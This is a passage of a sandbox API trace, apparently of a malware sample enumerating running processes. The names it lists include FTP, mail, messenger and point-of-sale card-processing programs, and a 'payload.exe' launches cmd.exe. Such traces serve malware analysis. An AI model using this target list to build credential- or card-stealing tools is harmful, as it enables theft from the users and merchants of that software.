[0057.735] lstrlenW (lpString="longest.exe") returned 11 [0057.735] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0057.736] lstrlenW (lpString="liberty.exe") returned 11 [0057.736] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0057.736] lstrlenW (lpString="robust.exe") returned 10 [0057.736] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0057.737] lstrlenW (lpString="browse.exe") returned 10 [0057.737] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0057.738] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0057.738] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0057.738] lstrlenW (lpString="blocked.exe") returned 11 [0057.738] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0057.739] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0057.739] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0057.739] lstrlenW (lpString="reno.exe") returned 8 [0057.739] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0057.740] lstrlenW (lpString="vancouver.exe") returned 13 [0057.740] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0057.740] lstrlenW (lpString="africa.exe") returned 10 [0057.740] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0057.741] lstrlenW (lpString="ph-pos.exe") returned 10 [0057.741] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0057.741] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0057.741] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0057.742] lstrlenW (lpString="peaceful.exe") returned 12 [0057.742] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0057.742] lstrlenW (lpString="louise_threshold.exe") returned 20 [0057.742] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0057.743] lstrlenW (lpString="scannerhit.exe") returned 14 [0057.743] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0057.743] lstrlenW (lpString="3dftp.exe") returned 9 [0057.743] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0057.744] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0057.744] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0057.744] lstrlenW (lpString="alftp.exe") returned 9 [0057.744] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0057.745] lstrlenW (lpString="barca.exe") returned 9 [0057.745] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0057.745] lstrlenW (lpString="bitkinex.exe") returned 12 [0057.745] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0057.746] lstrlenW (lpString="coreftp.exe") returned 11 [0057.746] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0057.747] lstrlenW (lpString="far.exe") returned 7 [0057.747] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0057.747] lstrlenW (lpString="filezilla.exe") returned 13 [0057.747] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0057.748] lstrlenW (lpString="flashfxp.exe") returned 12 [0057.748] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0057.820] lstrlenW (lpString="fling.exe") returned 9 [0057.820] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0057.821] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0057.821] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0057.821] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0057.821] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0057.822] lstrlenW (lpString="icq.exe") returned 7 [0057.822] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0057.822] lstrlenW (lpString="leechftp.exe") returned 12 [0057.822] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0057.823] lstrlenW (lpString="ncftp.exe") returned 9 [0057.823] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0057.824] lstrlenW (lpString="notepad.exe") returned 11 [0057.824] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0057.826] lstrlenW (lpString="operamail.exe") returned 13 [0057.826] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0057.827] lstrlenW (lpString="pidgin.exe") returned 10 [0057.827] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0057.828] lstrlenW (lpString="scriptftp.exe") returned 13 [0057.828] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0057.829] lstrlenW (lpString="skype.exe") returned 9 [0057.829] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0057.830] lstrlenW (lpString="smartftp.exe") returned 12 [0057.830] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0057.831] lstrlenW (lpString="thunderbird.exe") returned 15 [0057.831] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0057.832] lstrlenW (lpString="totalcmd.exe") returned 12 [0057.832] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0057.833] lstrlenW (lpString="trillian.exe") returned 12 [0057.833] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0057.834] lstrlenW (lpString="webdrive.exe") returned 12 [0057.834] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0057.835] lstrlenW (lpString="whatsapp.exe") returned 12 [0057.835] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0057.836] lstrlenW (lpString="winscp.exe") returned 10 [0057.836] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0057.837] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0057.837] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0057.838] lstrlenW (lpString="active-charge.exe") returned 17 [0057.838] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0057.839] lstrlenW (lpString="accupos.exe") returned 11 [0057.839] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0057.840] lstrlenW (lpString="afr38.exe") returned 9 [0057.840] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0057.841] lstrlenW (lpString="aldelo.exe") returned 10 [0057.841] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0057.841] lstrlenW (lpString="ccv_server.exe") returned 14 [0057.841] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0057.843] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0057.843] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0057.844] lstrlenW (lpString="creditservice.exe") returned 17 [0057.844] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0057.845] lstrlenW (lpString="edcsvr.exe") returned 10 [0057.845] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0057.846] lstrlenW (lpString="fpos.exe") returned 8 [0057.846] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0057.847] lstrlenW (lpString="isspos.exe") returned 10 [0057.847] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0057.848] lstrlenW (lpString="mxslipstream.exe") returned 16 [0057.848] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0057.849] lstrlenW (lpString="omnipos.exe") returned 11 [0057.849] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0057.849] lstrlenW (lpString="spcwin.exe") returned 10 [0057.849] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0057.850] lstrlenW (lpString="spgagentservice.exe") returned 19 [0057.850] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0057.851] lstrlenW (lpString="utg2.exe") returned 8 [0057.851] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0057.852] lstrlenW (lpString="slope.exe") returned 9 [0057.852] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0057.853] lstrlenW (lpString="entered.exe") returned 11 [0057.853] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0057.854] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0057.854] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0057.855] lstrlenW (lpString="attach.exe") returned 10 [0057.855] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0057.855] lstrlenW (lpString="obligations.exe") returned 15 [0057.856] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.856] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.856] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.857] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.857] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.944] lstrlenW (lpString="taskhost.exe") returned 12 [0057.944] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.944] lstrlenW (lpString="dllhost.exe") returned 11 [0057.944] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.945] lstrlenW (lpString="dllhost.exe") returned 11 [0057.945] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0057.946] lstrlenW (lpString="payload.exe") returned 11 [0057.946] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.946] lstrlenW (lpString="cmd.exe") returned 7 [0057.946] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.947] lstrlenW (lpString="conhost.exe") returned 11 [0057.947] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0057.947] lstrlenW (lpString="mode.com") returned 8 [0057.947] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, 